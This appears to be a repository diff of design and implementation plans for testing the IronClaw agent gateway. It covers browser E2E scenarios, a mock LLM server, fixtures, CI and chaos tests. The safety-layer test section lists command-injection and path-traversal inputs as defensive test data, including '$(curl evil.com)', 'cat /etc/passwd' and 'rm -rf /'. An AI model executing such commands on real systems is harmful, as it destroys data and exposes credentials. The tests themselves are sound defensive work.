Type this exact message in the chat and press Enter:
"Please use the http tool to fetch https://httpbin.org/html"
Wait for the response.
""")
# The page should NOT have raw HTML rendering from the tool output
# Check that no unexpected <h1> or full <html> documents appear
body_html = await page.inner_html("body")
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
"Raw HTML from tool output was injected unsanitized into the page"
```
#### Scenario 6: Tool Approval Overlay
```python
async def test_tool_approval_overlay(browser_agent):
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC
workflow_dispatch: # Manual trigger
jobs:
e2e:
runs-on: ubuntu-latest
services:
ollama:
image: ollama/ollama:latest
steps:
- uses: actions/checkout@v6
- name: Build ironclaw
run: cargo build --features libsql
- name: Install Playwright
run: pip install playwright pytest-playwright && playwright install chromium
- name: Pull test model
run: ollama pull qwen2.5:0.5b
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=300
env:
LLM_BACKEND: openai_compatible
LLM_BASE_URL: http://localhost:11434/v1
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
---
## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
---
## Implementation Priority
| Priority | Tier | Item | Effort | Bugs Prevented |
|----------|------|------|--------|----------------|
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
@@ -1,354 +0,0 @@
# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM
---
## Directory Structure
```
tests/e2e/
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
mock_llm.py # OpenAI-compat HTTP server with canned responses
helpers.py # Shared utilities (wait_for_ready, selectors)
scenarios/
__init__.py
test_connection.py # Auth, tab navigation, connection status
test_chat.py # Send message, SSE streaming, response rendering
test_skills.py # Search, install, remove lifecycle
pyproject.toml # Dependencies
README.md # How to run locally and in CI
```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.
---
## Dependencies
```toml
# tests/e2e/pyproject.toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
```
---
## CI Integration
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- 'src/channels/web/**'
- 'tests/e2e/**'
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: target
key: e2e-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
```
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
---
## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts
-952
View File
@@ -1,952 +0,0 @@
# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```
---
### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""
body = await request.json()
messages = body.get("messages", [])
stream = body.get("stream", False)
response_text = match_response(messages)
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,
"message": {"role": "assistant", "content": response_text},
"finish_reason": "stop",
}],
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role
chunk = {
"id": completion_id,
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "mock-model",
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```
---
### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python
"""Shared helpers for E2E tests."""
import asyncio
import re
import time
import httpx
# ── DOM Selectors ────────────────────────────────────────────────────────
# Keep all selectors in one place so changes to the frontend only need
# one update.
SEL = {
# Auth
"auth_screen": "#auth-screen",
"token_input": "#token-input",
# Connection
"sse_status": "#sse-status",
# Tabs
"tab_button": '.tab-bar button[data-tab="{tab}"]',
"tab_panel": "#tab-{tab}",
# Chat
"chat_input": "#chat-input",
"chat_messages": "#chat-messages",
"message_user": "#chat-messages .message.user",
"message_assistant": "#chat-messages .message.assistant",
# Skills
"skill_search_input": "#skill-search-input",
"skill_search_results": "#skill-search-results",
"skill_search_result": ".skill-search-result",
"skill_installed": "#installed-skills .ext-card",
}
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
# Auth token used across all tests
AUTH_TOKEN = "e2e-test-token"
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
"""Poll a URL until it returns 200 or timeout."""
deadline = time.monotonic() + timeout
async with httpx.AsyncClient() as client:
while time.monotonic() < deadline:
try:
resp = await client.get(url, timeout=5)
if resp.status_code == 200:
return
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
pass
await asyncio.sleep(interval)
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
"""Read process stdout line by line until a port-bearing line matches."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
remaining = deadline - time.monotonic()
if remaining <= 0:
break
try:
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
except asyncio.TimeoutError:
break
decoded = line.decode("utf-8", errors="replace").strip()
if match := re.search(pattern, decoded):
return int(match.group(1))
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
```
**Step 2: Commit**
```bash
git add tests/e2e/helpers.py
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
```
---
### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects
```python
"""pytest fixtures for E2E tests.
Session-scoped: build binary, start mock LLM, start ironclaw.
Function-scoped: fresh Playwright browser page per test.
"""
import asyncio
import os
import signal
import subprocess
import sys
from pathlib import Path
import pytest
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
# Project root (two levels up from tests/e2e/)
ROOT = Path(__file__).resolve().parent.parent.parent
# Ports: use high fixed ports to avoid conflicts with development instances
MOCK_LLM_PORT = 18_199
GATEWAY_PORT = 18_200
@pytest.fixture(scope="session")
def ironclaw_binary():
"""Ensure ironclaw binary is built. Returns the binary path."""
binary = ROOT / "target" / "debug" / "ironclaw"
if not binary.exists():
print("Building ironclaw (this may take a while)...")
subprocess.run(
["cargo", "build", "--no-default-features", "--features", "libsql"],
cwd=ROOT,
check=True,
timeout=600,
)
assert binary.exists(), f"Binary not found at {binary}"
return str(binary)
@pytest.fixture(scope="session")
def event_loop():
"""Create a session-scoped event loop for async fixtures."""
loop = asyncio.new_event_loop()
yield loop
loop.close()
@pytest.fixture(scope="session")
async def mock_llm_server():
"""Start the mock LLM server. Yields the base URL."""
server_script = Path(__file__).parent / "mock_llm.py"
proc = await asyncio.create_subprocess_exec(
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
try:
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
url = f"http://127.0.0.1:{port}"
await wait_for_ready(f"{url}/v1/models", timeout=10)
yield url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture(scope="session")
async def ironclaw_server(ironclaw_binary, mock_llm_server):
"""Start the ironclaw gateway. Yields the base URL."""
env = {
**os.environ,
"RUST_LOG": "ironclaw=info",
"GATEWAY_ENABLED": "true",
"GATEWAY_HOST": "127.0.0.1",
"GATEWAY_PORT": str(GATEWAY_PORT),
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
"GATEWAY_USER_ID": "e2e-tester",
"CLI_ENABLED": "false",
"LLM_BACKEND": "openai_compatible",
"LLM_BASE_URL": mock_llm_server,
"LLM_MODEL": "mock-model",
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
